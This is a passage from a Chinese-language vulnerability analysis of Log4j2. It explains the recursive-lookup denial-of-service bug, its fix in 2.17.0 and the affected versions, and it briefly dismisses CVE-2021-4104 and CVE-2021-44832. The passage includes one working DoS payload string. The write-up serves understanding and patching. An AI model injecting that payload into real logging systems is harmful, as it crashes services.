这个函数的校验达成真正的无线递归,最终不断的分配内存,造成栈溢出
关键代码:
这里 checkCyclicSubstitution
中的检测递归的条件就是,当 varName
在这个 priorVariables
里边就会继续执行递归解析的操作。
payload
${${::-${::-$${::-j}}}}
0x02. 修复方式
Apache log4 2.17.0
版本中进行修复。
修复方式也比较简单,即直接不允许递归解析。
原来解析 ${}
都是直接用的 StrSubstitutor
这个类,然后新版中给所有日志规则中的解析直接加了一个 StrSubstitutor
的子类 RuntimeStrSubstitutor
的处理:
在里边配置再添加一个校验:
0x03. 影响范围
DDos
2.0 <= Apache log4j2
< 2.17.0
-
将用户可控参数通过线程上下文的方式来调用的日志记录中 -
同时线程上下文中要记录的数据用户可控
关于 log4Shell
在 log4j2
中的漏洞就暂时告一段落。
下面我们来看这类攻击方式在 log4j1
中的情况。
CVE-2021-4104 及 CVE-2021-44832
CVE-2021-4104
与前边的不同,是 log4j 1.x
中的配置文件 RCE
。
由于这两个漏洞完全是 Red-Hat
作妖才分配的 CVE
编号。
又由于 Red-Hat
给 log4j 1.x
定了一个 CVE
编号才导致有人通过类似的方式在 log4j2 2.17
以后又刷了一个 CVE-2021-44832
出来。
并且实际上 log4j 1.x
的配置文件 RCE
并不能立刻生效,因为修改 log4j 1.x
的配置文件还需要重新加载后才可以生效,在生产环境中基本是不太可能出现这样的利用场景的,可以说这两个漏洞基本上都不具备实际的攻击场景,并且也没有什么技术含量。
可以参考:
# 聊聊配置文件 RCE 这件事
https://paper.seebug.org/1802/
所以这里个人而言并不觉得需要分析这两个漏洞,这只能说是程序的特性,并不能说是漏洞。
用一张图可以形容这两个漏洞:
时间线
下面是个人视角对 log4shell
这个漏洞感知上的一个时间线: